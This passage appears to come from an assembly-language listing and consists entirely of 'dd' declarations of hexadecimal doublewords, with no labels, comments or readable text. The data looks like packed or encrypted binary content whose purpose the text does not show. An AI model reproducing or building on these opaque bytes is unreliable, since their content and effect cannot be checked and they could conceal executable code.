0E9FC442Ch, 512A9BFh, 1DB110DDh, 0C900435h, 7C0820DCh dd 0C7E09D8h, 0D74AE781h, 0DC60293Ah, 0FE5E83E0h, 0CF81F107h dd 65658006h, 0F1C1524Dh, 0D855E012h, 89C20316h, 0F5A30C88h dd 31DA0BBDh, 41E0150Fh, 11D43D06h, 8679F5E8h, 0C162BC69h dd 1097B260h, 8FF9FC8Ah, 0B98D1C6Ah, 9EB2F331h, 1122A8FCh dd 44AB104Ch, 2840FB11h, 0FC529889h, 194350ABh, 0EC1B817Dh dd 0D48AF588h, 25BF22FCh, 6422A4A3h, 4E0F425Ah, 97153914h dd 97269BFAh, 622762B4h, 11993F13h, 951ED09h, 0F166E893h dd 0A3E9A4F6h, 3F15BF24h, 3E931023h, 0BC5D840Ah, 35D825CBh dd 3EBC001h, 51590A6Ah, 9D1C547Fh, 0EBAEE882h, 83E4AD90h dd 70E07D2Dh, 9E62C499h, 0BB581DF7h, 0B02EEB0Bh, 0F1EC5819h dd 0B1095C75h, 5150D40Bh, 0A52AFB85h, 650C200Ch, 0D42E94F5h dd 117FB230h, 76AB149Ah, 0EB273626h, 0C3FE4113h, 26398B2Bh dd 1F6523B8h, 0ECC3C3F0h, 350C9A07h, 882D16E9h, 2054A3BDh dd 48B5C3D1h, 80FD584Fh, 284FEC81h, 0F04FD7CAh, 240A42Fh dd 880ECD56h, 848DF479h, 809506A0h, 7C5D3F84h, 78759Fh dd 8C66747Dh, 21D8A095h, 86948D0Eh, 8705D31h, 65016C45h dd 646D0068h, 858F1A9Ch, 0C7F2F98h, 0F98D8F4Dh, 45980646h dd 0D894019Ch, 47DC301h, 1F90B528h, 6AFC400Ch, 8A8C3050h dd 0EE806A41h, 0C0084154h, 0C1734F1h, 0D80CD0E1h, 5A524B97h dd 0C0420C18h, 26C98CE6h, 41C5F8D4h, 7C7D25D1h, 15203670h dd 2BD04D46h, 0E5111C2Fh, 0E2956E75h, 4028409h, 299244E5h dd 36358C68h, 2A508918h, 528B738Ch, 3301D18Dh, 0C2E85ECDh dd 0C5EC51F0h, 391DACA8h, 1035A96Fh, 0EB33E806h, 3C1D06Ch dd 90E0FF5Dh, 1E96738Dh, 909CE21Fh, 409209A5h, 5E74576Dh dd 82DD9508h, 226177F6h, 6A8D81C6h, 30895E16h, 4A7FFB73h dd 60288DB3h, 314AEB9Ch, 60189009h, 7C880492h, 9DD97C19h dd 420223A0h, 0C3653A46h, 12C64FB2h, 0C510E874h, 38AE82Eh dd 8959223Ch, 0EBF19C07h, 792B33C0h, 0E3135380h, 4BA5C1F7h dd 2F4A94A6h, 24B26BF0h, 16114E52h, 9E5EF75h, 0CA99D7Bh dd 10E8B07h, 21FEFFBAh, 83D0037Eh, 0C233B08Ch, 0A9480460h dd 81267161h, 410C2974h, 0BA3275FCh, 24246972h, 139C578Ch dd 3A400FD6h, 8DCDEB02h, 58D7A641h, 1464F52Bh, 85FD2CFEh dd 0E4D3FC91h, 2849BF7Fh, 3C830220h, 0E405E4F5h, 8D1E1E7Fh dd 15E09804h, 68183889h, 309D0FA0h, 18C70483h, 8D2B46E8h dd 7A0E783Dh, 2413B2B0h, 804BD27Ch, 0D59DE35Fh, 16812A57h dd 43FF1EBh, 4AD128CFh, 571F12BEh, 9BE03E57h, 7E830E13h dd 0C3D20104h, 0E898D30Dh, 0FA83F043h, 39D5C26h, 0FE8108C6h dd 46150783h, 2F2ADC7Ch, 987915Fh, 3752A40h, 20148250h dd 5235E648h, 3D024ABEh, 8BC534FFh, 0C932D82Bh, 47A5DC3h dd 31E53822h, 0FFF50BEAh, 0E4AA3047h, 1D12DF96h, 43FB6E5h dd 310E8340h, 260A0CDCh, 0B8A070E9h, 8D0A469Ch, 3962AD34h dd 340D41Eh, 6A6EEBC7h, 42785810h, 93F83464h, 0D8E10FB4h dd 0CE4EA7EEh, 51EB2CE7h, 59E80DC0h, 35EBD217h, 2C756012h dd 0C40B0934h, 49A21A41h, 188D178Ah, 0D9AFEF73h, 0A6365DA2h dd 0B1D9654h, 7193E5Dh, 6A095836h, 42820A7Ch, 2AAE660Bh dd 0D859572Bh, 0D98D5615h, 75EB8297h, 244804F7h, 4AD2B8A8h dd 11B611E4h, 36507FF0h, 508A30F3h, 0F5684AB0h, 9D2C2E82h dd 0A32E86F8h, 7589B990h, 6975901h, 35782583h, 8CDA96DDh dd 98C9C129h, 0BC908DAh, 0AD5A0D89h, 9C05C71Fh, 0B24246AFh dd 200D5034h, 6B39A0A1h, 31404C9h, 0AA12EBC8h, 502B8B42h dd 32BD740Ch, 89417247h, 0C1FE30C0h, 78D3EAEEh, 4DD54699h dd 0ED41C430h, 0D4ED546Ah, 792BFE0Eh, 0FCA001D2h, 0FC0FEFC1h dd 0C92C69CFh, 8C41F804h, 0A2D4401h, 8BF04D01h, 31F6490Eh dd 0FC1293C8h, 3361BDBCh, 601C8D53h, 55FE1327h, 5633F475h dd 0DEF80CFCh, 0C2F63412h, 15AB83Ch, 4FAC174h, 3FD0834Ah dd 6A033A76h, 4B8B5A0Fh, 8633B8Eh, 20164275h, 0CAF4BB20h dd 8B190073h, 8DEBD3CAh, 1EB0024Ch, 5C0121EEh, 9FE44B8h dd 81572375h, 1C6800BBh, 0AEE04A8Dh, 0B89C1B1Ah, 3B215DC4h dd 1B591206h, 53CAB0CFh, 125BA786h, 6303FECEh, 365A89F4h dd 0D245512h, 0D1397095h, 0A54C9430h, 5DC77643h, 4AE3B5F8h dd 18ABF48Dh, 752B918Fh, 0C12586FFh, 0B03604FBh, 4B0C0085h dd 76DE3B5Eh, 94E98B02h, 9F36F890h, 7783D6DBh, 2FDAF225h dd 0EBA55E74h, 0E0B41C71h, 0FB1083FCh, 17C0BE20h, 0EED3CB8Bh dd 21D6F70Ah, 4C83B074h, 0CD750403h, 0EB319520h, 4B8D151Ah dd 0B42B18E0h, 623734AEh, 460871B0h, 4979B020h, 0C4E8929h dd 0DFEC13Ch, 0EBFE8A24h, 8E3D8C03h, 16F47D83h, 27DA6AF0h dd 3766840Fh, 0C8DF00Eh, 5D59CDD1h, 0C5E4A9Bh, 0DDF5D79h dd 243B6122h, 248A6075h, 4D098815h, 2FC1FE0Fh, 73191846h dd 7D803F25h, 850E8064h, 1854354Bh, 1909EB36h, 5E990CAAh dd 0F7A84744h, 49297518h, 57281025h, 0C8645B26h, 0EA33BA21h dd 0B89984D2h, 20023109h, 67289CAh, 6930443Bh, 8950412h dd 24F33482h, 0EA6DC4A1h, 29D85832h, 5DA05404h, 0A4343589h dd 0F1B168ABh, 4E1C1C0h, 0C48030Fh, 53D4E4BBh, 0D6FF5114h dd 43339120h, 50090A5Ch dd 8B850F08h, 1D201040h, 0D188A483h, 2D9858DAh, 435248FEh dd 80F6780Bh, 0A8A2797Bh, 4609740h, 0E712FE55h, 0F20FC7ADh dd 0BC85365h, 0B6D10C70h, 10146413h, 94B4B7F9h, 977164E5h dd 21F3EEE5h, 30C82BEEh, 0EC3A113Dh, 14489651h, 295C73C2h dd 7E4180A9h, 352B57FFh, 762C0B05h, 86D4501h, 4C1C6314h dd 0C545DB40h, 3D891805h, 0E05BA322h, 58C3C9F0h, 0A934AA1h dd 2F35350Dh, 0F01660D2h, 31053475h, 34856B10h, 8535BA82h dd 87285738h, 3BD1403Ch, 86C8C75Eh, 80835978h, 31933690h dd 61F66BB4h, 6830117Bh, 4574F6C4h, 5ED3D7A6h, 74DFB06Ch dd 4486AEAh, 0EB20204Bh, 0AC619662h, 49D13815h, 1241301Ah dd 102B76FAh, 0EB40EE57h, 0D64E839Bh, 8E7B1C84h, 5CA047Eh dd 7A862763h, 0C6EC2283h, 0A235F5Fh, 0C38D8D51h, 1849127Eh dd 0DB337268h, 0C0E26298h, 0CE0F434Fh, 69C3E7F9h, 84C4189Bh dd 0FE928430h, 5AF8451Dh, 608400Ch, 2281B504h, 40F4754Ah dd 68FB8B83h, 20D0FFD4h, 0C8FA98E7h, 8B238016h, 0F25EA9A7h dd 8D9D44D7h, 70629770h, 0C0FA3B0Ch, 4C77FCE7h, 2B006243h dd 0CE9C1CFh, 1003478Dh, 0F8488341h, 0EC88A1FFh, 317F432Dh dd 890FFC90h, 1C11AE10h, 0CA40C70Fh, 500F0FF0h, 0E8804604h dd 50D8113h, 75496840h, 8A8B6BCBh, 2AF752C3h, 4F8D8191h dd 3148890Ch, 86BA04E9h, 4ED1394h, 9E649702h, 1EF25144h dd 412E26BCh, 0CD43468Ah, 84F730C8h, 1FA9C049h, 75014E88h dd 4780903h, 914D6133h, 0D2F7EA04h, 1765C421h, 98C7D5E3h dd 0A98C0CCAh, 0E1057507h, 2BD7FCDAh, 8CE515Dh, 11EAC117h dd 0B680F5CAh, 583FC4Fh, 3B49F0E6h, 7D22E9F1h, 10241F64h dd 310F0AB0h, 0F63D558Eh, 95836FC3h, 3130745h, 0A7F33BD9h dd 64154D8Fh, 0F90EC177h, 8C834904h, 24F8523Fh, 184A0676h dd 5F8B1159h, 3E79FB0h, 0DC2C5943h, 64111ACBh, 18630F8h dd 9090DDB9h, 1FC12688h, 2814C183h, 905D9C1Dh, 0B64FF3E0h dd 989519Dh, 3C7F069Fh, 31E79B4h, 1CE2B91h, 732AEE58h dd 0A59743E1h, 0F6D25D41h, 0FFC14BE8h, 834F041Dh, 31903F19h dd 40EBE4FAh, 1CF8F45Fh, 0F210FB40h, 6C40AB5Bh, 4B800C12h dd 764E72F9h, 3B0D98F3h, 0B857751Eh, 13074442h, 0C817FF89h dd 847E1C10h, 1096CF46h, 246FB439h, 0A81C208Ah, 394F5DCBh dd 0B59B84F2h, 0A5402E58h, 85D43985h, 326EA319h, 0E8A04071h dd 0DC75F5DAh, 46BC24BFh, 22426CFEh, 0E927F82Ah, 3BECF13Ch dd 0F0F38B0h, 0DD72F8Dh, 0B529C80Ch, 4B44CC4Eh, 33745C6Eh dd 0C11FAA92h, 83DD04FEh, 3AC63F12h, 2ED38628h, 2A8FF65Eh dd 1E19B981h, 0A21FA975h, 3B1DA919h, 424D5ACEh, 89CEC8FEh dd 70140674h, 4D2C0E4Bh, 648864Eh, 0D6A9ED6Dh, 89771270h dd 0ADCEDB69h, 8A816CBAh, 0E8DCBC03h, 407A710Ch, 760C8D28h dd 4B7948F1h, 377BD29Ch, 4A919F60h, 5749D665h, 0E7994C06h dd 57A21816h, 0CE2199ECh, 89EF90BFh, 0CE571939h, 82840F08h dd 481D169Ah, 4EB25779h, 0C545481Eh, 1891814Eh, 488468FCh dd 0B884E5DFh, 6AACFBCDh, 5038B8Dh, 55415C92h, 0F0E1CC17h dd 9C249B9Ch, 9D405393h, 7D575620h, 1FCEEE0Bh, 26EED3FFh dd 0EB133B6Ah, 97755F0Dh, 697DBCCAh, 0FDA16BA8h, 3DD9F2CCh dd 532811EBh, 0DC23F6C7h, 0BFEC024h, 830A75D7h, 0DA14C33Eh dd 3708CEA0h, 0E10EE872h, 441D8B7Fh, 23242E59h, 2CFE3BD9h dd 1E55EB5Bh, 1655F87Bh, 726C29B1h, 317591F0h, 0E81C09CAh dd 41F04432h, 0FAA6E815h, 8534D16Ah, 0C425A7DBh, 44094FD0h dd 0BB40E841h, 404CCC54h, 43EA01EDh, 387DD1B8h, 29E5743Dh dd 1CB7A51Dh, 66AC203Dh, 14748F70h, 201B8CA9h, 45407CBAh dd 90A44D23h, 2975CF12h, 938BD7B4h, 0A481237h, 51A8395Bh dd 941F3F0Eh, 0E8D59197h, 5DEB41B0h, 0F84C6AE7h, 90D64CBCh dd 0CE236101h, 594D1275h, 206AAB84h, 0C934A05Fh, 0C5854739h dd 1D544792h, 2B0AC94Fh, 32F1F2E1h, 7E48999Dh, 3B031032h dd 1840FF7h, 4A8B9113h, 58E0001Ch, 89494E5Ch, 0E7057D8Bh dd 7F2789CFh, 0A8386F09h, 0EC01E672h, 44885C23h, 0FE0906DFh dd 3033750Fh, 5F338FFh, 2CEB0B21h, 27213C94h, 0BD4D888Ch dd 0AF862E14h, 7565C64Ah, 57DF4B0Bh, 31275CE6h, 0D1B2F823h dd 71627A24h, 0E36F2543h, 0A17F9012h, 29C28D80h, 4A419816h dd 9B514390h, 9872E50Ch, 42986C5Eh, 237DC40Bh, 33E7A01Fh dd 9344D79h, 9E3B09EFh, 50FC7EA3h, 54EBA97Ch, 990D2329h dd 0C409C49Fh, 0BCAB22F1h, 0BE2E2133h, 3709EE85h, 38BCC7D5h dd 0A890B0Bh, 2611F304h, 773D981Eh, 0D6D158F0h, 64322799h dd 23BDF4D5h, 3D798D5Ah, 1A893E20h, 62CA1D3Bh, 0EE986FADh dd 1240A79h, 58CA332Dh, 8D093725h, 0E39A0442h, 66BF34F8h dd 35FF25FBh, 6C9C056h, 44086C17h, 0E04B2B8Dh, 987FCDA1h dd 5081FC06h, 0FFF4827Fh, 18D6D2D0h, 0D62882D9h, 8B10E25Fh dd 7B6256C3h, 50A0B35Ah, 63249C51h, 7B208D56h, 2E599F6h dd 0E614E8F8h, 74098AF1h, 3F5FD90Dh, 0A2F0BC92h, 0F84663FBh dd 0B430E250h, 5CA1461Bh, 5E021688h, 96413DE1h, 0CACA7205h dd 6AB20198h, 0AB25803h, 855C3914h, 3CDFDC3Dh, 4924CE94h dd 4427AAA8h, 7CA33E11h, 40038CAEh, 7DE825C3h, 0ECF85869h dd 0FDA488A3h, 14682436h, 0EE8174Eh, 150ACCF4h, 40E6E89Ch dd 0E418A36Dh, 92CAEB21h, 35AEC3C1h, 38BDF5F2h, 0FD1C0986h dd 0B0315008h, 72474CE9h, 0F172170Ch, 77F20F0Bh, 5550889Ah dd 0B85BE884h, 0FAF803B4h, 6C1A9859h, 0A7232531h, 825B098Ah dd 54D03DFFh, 1832B2EFh, 55FB8122h, 1822264Bh, 2068183Fh dd 14BBDAD8h, 0BD5388A8h, 55E58060h, 0B7F0DCE8h, 0F68E52CEh dd 0A5EFAB21h, 0BE0DD2F1h, 13A4999h, 9D05C602h, 0FB12A516h dd 75563010h, 86E6826h, 2FBA491h, 5C9A6219h, 0BEA10F42h dd 0E8014150h, 0BC444967h, 0A0404438h, 32593CA4h, 0E21A3876h dd 3BEE812Fh, 0AB40C603h, 0DB1894B9h, 8B16C6A0h, 0B482C82Bh dd 3491DD3Bh, 11879414h, 238746F5h, 2EB0D24h, 515F4622h dd 0A4AB5350h, 1BE13A70h, 34EA8C70h, 240CFD24h, 82422220h dd 0CEEDEA1h, 20101868h, 0D7D8DE01h, 0A1481083h, 33EBC238h dd 1589406Ah, 607C924Ch, 74EEFE8Bh, 0FD7E8325h, 0EAA220EAh dd 84F5465Dh, 36FF0951h, 0AB522FE8h, 55125066h, 5D484456h dd 24FF589Ah, 3D24E8FFh, 74C37B3Bh, 301B2215h, 1F4777A4h dd 68162479h, 34E84272h, 0A854A36Ah, 4BA82A67h, 0A3147351h dd 0FCA49EFAh, 0E8150720h, 513A037Ch, 0E3347E39h, 2E60B1Dh dd 98A2EE4Bh, 0B47D4CE3h, 798EED92h, 0C181189Eh, 6EB07E9h dd 0F17A32Ah, 586F0F66h, 0C4104E09h, 4420560Bh, 7F06305Eh dd 4F6F0907h, 0BF572827h, 6F7D5F22h, 6E0B4062h, 60762250h dd 37707E23h, 5F296733h, 77457A71h, 8D70D8FFh, 0BB759CB6h dd 0D06BF28h, 8BA37549h, 42F4A6E9h, 1C1087A3h, 279EF422h dd 0C341A325h, 0D0C8B299h, 0CA331C96h, 0E183852Bh, 2207190Fh dd 0FBFAF9F8h, 710BF94h, 0D14A7D07h, 864A910Ch, 0C269B810h dd 4D897F40h, 74F15F40h, 122B133Ah, 0E80B5356h, 0B463F127h dd 6ECD1F7Dh, 0A0779A4Ah, 3074A72h, 89D12BD3h, 0D877EC77h dd 0F0396179h, 0FA6E74BDh, 0A4F343D8h, 53EB53C0h, 4A75CF3Bh dd 0C161F035h, 0E4961064h dd 0DF790A8Ah, 334BC39h, 0F23E1C22h, 2BE3450Ch, 0A575C99Fh dd 62714CC4h, 37221AEBh, 0B35F92D0h, 0A0CA2153h, 19CA827Eh dd 3009F4E3h, 3B45807Ch, 0CA395A60h, 2B0BA30Ah, 5166277Eh dd 19A8A310h, 0A4285658h, 0A0152106h, 429C1D08h, 3D109835h dd 8C668894h, 7C0152Ah, 88B40D21h, 567901Dh, 88256298h dd 88842D18h, 5228F9Ch, 2A8183B8h, 9008ACAEh, 11B0650Eh dd 0BC8CF08Dh, 0E08510A0h, 4204FC5Eh, 1BD4F805h, 0A12866EDh dd 1D54DB1Dh, 38A02822h, 0C0320409h, 1EA9A414h, 8906EBDBh dd 0F667D885h, 0DC0BA944h, 0C665EC14h, 64BF0A3h, 6BE8016Ah dd 59785031h, 70313EE1h, 47653C68h, 8471343Bh, 0A12112A9h dd 47499088h, 3BB8688Dh, 94C97278h, 0B853653Ch, 3B3F5C9Ah dd 50DB1346h, 0BE80260h, 906292E1h, 5905161Dh, 0EBC7F07Eh dd 53574212h, 0DFB9B8h, 0F0033C70h, 5E5A3966h, 14462580h dd 307C008Dh, 57237618h, 0E5C24468h, 76391BE8h, 370EC65Fh dd 83430604h, 39F028C7h, 4EB3CE3h, 0E78765A5h, 4644945h dd 0C4CD409Dh, 66FF8307h, 0D6F89750h, 0A1E9499Fh, 0FD234AD3h dd 501714C9h, 642E9A1Dh, 0C5859D22h, 0EB42F480h, 5C2584B8h dd 0A7367BD8h, 23043179h, 65E84AE8h, 324FAC92h, 5756354Ch dd 0A444194h, 0E8F68208h, 0BF097836h, 3C957888h, 0FAB89CEh dd 1FFCA277h, 0E4FED388h, 34647E6Ch, 0F9F15654h, 2094770Dh dd 75C64550h, 0C874241Bh, 76B18982h, 0E421689Ah, 42C62358h dd 16C89676h, 7F2AD094h, 83BCC584h, 0A1A120Dh, 6420C402h dd 5C15060Eh, 4130D16Bh, 0EC42E90Dh, 54083B4Eh, 40964658h dd 5ABE4FFBh, 3AEC8784h, 5C46C706h, 7ABE55F8h, 81907E92h dd 0AC04E82Fh, 462648CFh, 4A75D9DEh, 0E4D1491Dh, 864889D3h dd 42E59078h, 0FC104016h, 706C1E8Bh, 4CC853C6h, 4B0E4390h dd 26B80144h, 8A8D0880h, 91896846h, 0E8FA6260h, 5984A5EBh dd 453EB9A2h, 0AD6C32E4h, 88A10A60h, 1F3E250Eh, 0E8C976FFh dd 278BDE33h, 6115365h, 0A9325475h, 0DA73C4C3h, 57A58CEBh dd 82A0C697h, 0C0EB12F9h, 0A1BDE86Bh, 3823D02Ah, 0DA504E2Fh dd 10EA32E1h, 12412EC9h, 523A6724h, 0C622A56h, 0E8011BCCh dd 2923FE18h, 0DFEAD245h, 0A2EFFA24h, 68A4628Bh, 4E8301D1h dd 0F0812F04h, 2C8809EBh, 0EAA4DB81h, 4B64D533h, 99E4E831h dd 0CFA2832Ah, 6D22B766h, 1828DD34h, 68247E3Eh, 48434E78h dd 0E43D4BF7h, 84270FA6h, 46B7A2EAh, 6534DE24h, 1C4B1936h dd 8C28182Ch, 1A233446h, 0C883C11h, 0FE6144C4h, 8C480CDAh dd 5C12F046h, 89D243Dh, 6A43DF11h, 0EB9EC10Dh, 7E854D22h dd 2A87A868h, 6C4BB31Ah, 7F0FB58Ch, 307B9181h, 0B2E8575Ah dd 3F53A584h, 654D52C5h, 3C295813h, 136C7899h, 3D521223h dd 3B7C4E22h, 31E6F2D7h, 0DB08014h, 3F830C10h, 8BC475E0h dd 988F205Bh, 12A11E22h, 0AE58445Ah, 557E8989h, 904018BFh dd 0C3EA4436h, 0C62A0CA3h, 57590C2Ah, 1AF8A322h, 0CE0975D0h dd 0C091A257h, 0A84A7D5Fh, 68344C44h, 0B90F439Ch, 8900AD6h dd 1BC4A305h, 84F56689h, 31C80D52h, 86CC0C7Ch, 0C478AEB0h dd 5878228Bh, 93FEA34Ch, 0C8280719h, 0EB78E609h, 3E09CC55h dd 582494A4h, 439151A1h, 0A05B17Ah, 93905C7h, 0ECA9633Ah dd 3C290C1Ah, 2C6B86B2h, 422289F5h, 0B129CCBDh, 272507Eh dd 42BB2264h, 0A5DE15E8h, 3F1E35F6h, 0ACC460D7h, 0AA312124h dd 105250E8h, 8C811CCh, 0D0428640h, 3011CC21h, 5FF4845Fh dd 0EC795F6Dh, 6865634Dh, 51A13887h, 0BB4C8611h, 0C0228391h dd 0C5487426h, 852C0450h, 53E13491h, 847E0AFBh, 52FC2A21h dd 619F3670h, 4FB1D5ECh, 285F5E14h, 0D496D6BCh, 71704548h dd 67736C67h, 80000574h, 0E8682AC1h, 2987096h, 4E21D181h dd 7BD0FE62h, 0E9340D31h, 913A084Dh, 2B01890Fh, 78047062h dd 443A9677h, 6671F00Ch, 0C0EF0F0Fh, 0ADF696EBh, 64B19027h dd 13D60947h, 400A59D4h, 42845008h, 0B9702760h, 473CD04Ah dd 578210F2h, 2E7B0845h, 3C202469h, 830BA3E2h, 53587FE2h dd 74CA3B07h, 984A2B12h, 0FCFF738Bh, 0CF606D2Fh, 33E12C4Eh dd 0E43803E1h, 0F108C22Fh, 43A834E0h, 0AAF3F4CEh, 2EEB3901h dd 0C783DFF7h, 2EF0B39Ah, 1FC5B21Bh, 0F686717h, 30B1055h dd 0DED02BC8h, 0E851040Ah, 0D077F27Eh, 0D651B28Fh, 4A4AA8F7h dd 33EDADF7h, 0E1463645h, 806A82A8h, 0D6ADE863h, 9F524B7h dd 0C135854h, 2D07E420h, 4CA80140h, 0E8156940h, 22221B92h dd 60E3EB2Fh, 9801A852h, 0F489E986h, 3284045Eh, 3AA5385h dd 0FEE083F5h, 46920EFBh, 0EF164D8Ch, 660278C3h, 6901E3A9h dd 39604921h, 0E82D2C75h, 0C036A3E9h, 0C3F0B220h, 0A4DDE264h dd 7503400Ch, 1E9EFF0Dh, 4462705Bh, 21938607h, 6166F217h dd 10870F7h, 26676B57h, 3E06B9CAh, 6098488Dh, 2B18CC0Eh dd 3B2D49F8h, 7E5D60FBh, 5057281Dh, 34165B3Ah, 0FCC503F4h dd 0E8344DEBh, 0B65EE120h, 0BD5F79D2h, 0E40CF996h, 0A3FE0A1Bh dd 80C1EAA8h, 0C06B1F91h, 0F6A0B538h, 95040305h, 0C33A8025h dd 0A0B8C9B0h, 0C22EF765h, 0FBC02033h, 5371026Ah, 0EC312890h dd 0C2239632h, 4A29BC35h, 8AED2532h, 20884841h, 1D961664h dd 0A5C45713h, 39A76F44h, 4A812F29h, 26270974h, 45A9EB24h dd 5FECB425h, 4B805B5Ah, 900C41F6h, 83060B32h, 4F00879h dd 449FF00h, 118B0B78h, 13027988h, 0EB60F01h, 0BEAE0C4Ah dd 7ADF49B2h, 0D1D38744h, 7C06DAB0h, 0C92BE7C3h, 0BAC23A05h dd 8A0C6913h, 0BEFF9694h, 23B7E812h, 91D63EB6h, 7FE07D7Dh dd 2981E75Eh, 0AE9B47F6h, 0D9924D53h, 7F8320C0h, 2E75BAC5h dd 12040EBh, 8A2DEB06h, 4CFF031Bh, 0E8CFF014h, 436BCC82h dd 137B756Dh, 81D4E231h, 886C2A38h, 3FB0CF0Fh, 0C4E69CAh dd 0D395247Ch, 0F87CABBDh, 0FE082136h, 78027808h, 8B8101F4h dd 772786DBh, 0D49D4B53h, 57FEE03Eh, 0C61BDF4h, 8B5FF15h dd 4D8D0D85h, 48DDFC9Ch, 12D43B6Fh, 74ECB475h, 0E0DCE097h dd 10C406C8h, 0E8BC09B0h, 392561A8h, 2DF5F531h, 0FBA565E9h dd 0D56ABF71h, 0E4E3510Bh, 7D801C89h, 58D225A8h, 5E48A442h dd 0E508CF86h, 4086A4D4h, 85350FDAh, 1B0B57A4h, 405CE464h dd 0C6A136FFh, 5256F9D0h, 2804FE0Eh, 112C4822h, 5F804C1h dd 8885348Dh, 366AE8C6h, 3C1DD41h, 0C32C5906h, 24C6D752h dd 7555A27Fh, 113702F5h, 346539Eh, 2A3AF5C4h, 0A2C6E33Ah dd 44220480h, 98C3DE3Bh, 8A11071Ah, 95C93313h, 0CCF90CD2h dd 0AC80D806h, 0E7553188h, 0A707EE30h, 5F7A587Ah, 0B83583CCh dd 80E08CF1h, 2CC28A1Dh, 24583C20h, 3CF91177h, 800601CCh dd 0BB40D8A0h, 4AD9AF9h, 1DB56308h, 71C1842Ah, 40076A27h dd 3B590481h, 8C5E20F9h, 7A870F1Ah, 7E03D56Dh, 571E7439h dd 0B6B2E04Dh, 48604688h, 0E8C869C0h, 4558E98Dh, 6683A19Fh dd 0A3E19BCh, 32DD503h, 481FD108h, 403DE3C6h, 0DB39A51Dh dd 2614743Fh, 8F0930E9h, 0C7272804h, 481E9401h, 4F572681h dd 4715128Ah, 44099402h, 2BC4FA80h, 0E8C7CB82h, 0D8BD4FCh dd 0FE3BFC7Fh, 8D9D0010h, 40A406F0h, 9A5DF73Eh, 8F19E4E9h dd 170C12ABh, 13CAF40Ah, 1A08448Dh, 0C08D1A07h, 0E103252Bh dd 4291E2C7h, 0E0201B1Dh, 0C540AE43h, 3FA555E9h, 6EC834E6h dd 74496190h, 680A9D46h dd 6C3D3850h, 77501520h, 65378C1h, 84470A6h, 3B24A16Ch dd 43C861DAh, 0E16D1247h, 57E95A41h, 0CAFB9959h, 2009914Eh dd 0C11445E5h, 70363C07h, 7B1D80C5h, 118A3401h, 46BE2F43h dd 3C2A2822h, 32431B33h, 7F49C34Bh, 101B3A97h, 564890Dh dd 80805B9h, 62FD1E69h, 84F56F40h, 84ED7540h, 84E57840h dd 8ADD5840h, 0C28CF205h, 0C1579C10h, 64D2C246h, 3A6F25F7h dd 0B826A6D1h, 540BE713h, 0D0C10219h, 0E812608Dh, 208B96F9h dd 84431B8Fh, 6A22C9C0h, 441986C1h, 9824E9E0h, 0F8C6C005h dd 728F2DF2h, 0EB842468h, 531E208Bh, 7480AB70h, 75C7905Ah dd 0D0104941h, 8094032h, 0F12C120Ah, 0C206062Ah, 8845C720h dd 6B35E153h, 0C040F512h, 168DE06Ch, 26B8EC5Dh, 0DC48CEB1h dd 70982451h, 113FC71Bh, 4F06E04Ah, 7D666C88h, 30E80EF7h dd 71327508h, 4C6CEB4Eh, 818E0711h, 2828E096h, 0B905257Fh dd 0BDAA5AFAh, 8101F02h, 0CCAC34Ch, 0B30899DCh, 0B4CC2803h dd 7CC08B3h, 0D8F0D0A5h, 1BCC006h, 378D6884h, 68142AA9h dd 86A9D339h, 18C12B5Dh, 0B1936468h, 873B9D46h, 27740050h dd 0FC47B70Fh, 0AD685029h, 0EC793D28h, 62D808CBh, 4F4EE411h dd 90F6F510h, 0EB83B0AAh, 4C348A0Dh, 24AF4088h, 0E92A586Ah dd 9BC650E9h, 289F078Bh, 0B04BC63Bh, 144866F8h, 5D82A4CEh dd 0BF0FC502h, 0DC1FDF7Eh, 2B991180h, 0A5F8D1C2h, 4C1B119Ch dd 11138C2Ah, 0BBC856A1h, 0DF5FE062h, 95E12E5Fh, 706C5083h dd 7B238681h, 65967421h, 18EAAE0Ah, 8E49679Eh, 0BC4CD4A0h dd 82746992h, 57C36EA1h, 190F0A48h, 0F639CE85h, 9880DC95h dd 74240822h, 294C4049h, 8B4013EBh, 0F2F46737h, 0C65536D8h dd 0AA03F490h, 99B602Bh, 742D9066h, 1B62BCCCh, 0E471105h dd 88E909E2h, 40B39903h, 4A0A9791h, 8566EAC0h, 890F1AC9h dd 0E40F3B43h, 9E0457C6h, 6B62B998h, 0C10E751Bh, 47D5670Ch dd 194CCE25h, 1239623Eh, 36C9037Eh, 3B586181h, 0DE25F25Fh dd 0C6183141h, 563B975Dh, 7C22150Ah, 170C8A13h, 2AAC4259h dd 80ED0A74h, 258B98FDh, 0E6FCEBD8h, 6CB02D22h, 8673FA4h dd 0C898030h, 99840C5Fh, 4DF628BFh, 0C658488h, 1BBD59E0h dd 80288C98h, 49351053h, 2D742DE8h, 7110F1E2h, 3EFD7D8Bh dd 52E742E4h, 1A26F380h, 1528B96Fh, 4C53643Ah, 33BC22F4h dd 7D80419Fh, 19AA42E7h, 1F392762h, 859D08F0h, 752D3B82h dd 4031440Bh, 0AA9A4301h, 72E95312h, 229B6251h, 0B4BCA008h dd 47214CEBh, 70267320h, 0D6F3BFDh, 0C8633BE3h, 62CD5926h dd 7C2A27B4h, 425910E4h, 0E8A13C9h, 0C6510430h, 0C730C8A4h dd 0C408F82Dh, 0B1E98D02h, 0C1142031h, 76CA25B8h, 982844B2h dd 8790F67Dh, 400A1564h, 980636C8h, 0EBFC8029h, 1D879904h dd 2B10DA99h, 3740BA3h, 3302160Dh, 21BE3FD2h, 0D63B1881h dd 347C147Fh, 0E077365h, 0D283D8F7h, 0B5DAAA0Eh, 906918E9h dd 0F8C8FF8Bh, 0DB5CC975h, 0A4B9BE7Eh, 11519809h, 0F74DE1FEh dd 0A1528463h, 0BC78B80h, 21F275C3h, 0B58D95A0h, 0F6B1D7B0h dd 6614FF96h, 67F149Eh, 24741819h, 4899D820h, 57052552h dd 0B93681E8h, 80302CB0h, 140D3912h, 0BEB7B698h, 0D00197Ch dd 0EB4E0E88h, 858DCC14h, 0C62B0A3Ah, 29A7A46h, 906150AAh dd 0B84C5AE3h, 80CE8126h, 41ED3039h, 318BA6A6h, 0EC01C606h dd 3219EB40h, 6256649h, 4AED5E7h, 842BF4BDh, 0EB06C1FBh dd 21B3631Fh, 90169C8h, 6E388049h, 2308B7C4h, 9A3B4F5h dd 4B03B0C6h, 2285FB85h, 0E2D0E8A1h, 0F0662525h, 538CD57Ah dd 12EB2D05h, 2B0A23A8h, 2D308D3h, 20240BD2h, 8B2798EAh dd 2BC05D1Ch, 0EC06D8DBh, 750C9190h, 283A9C11h, 53CC0FF2h dd 3BA5206Ah, 6E65B2F7h, 35109322h, 4D087314h, 0B24BE8C8h dd 287E0851h, 75040F30h, 5457660Fh, 0EF63930h, 83812DA4h dd 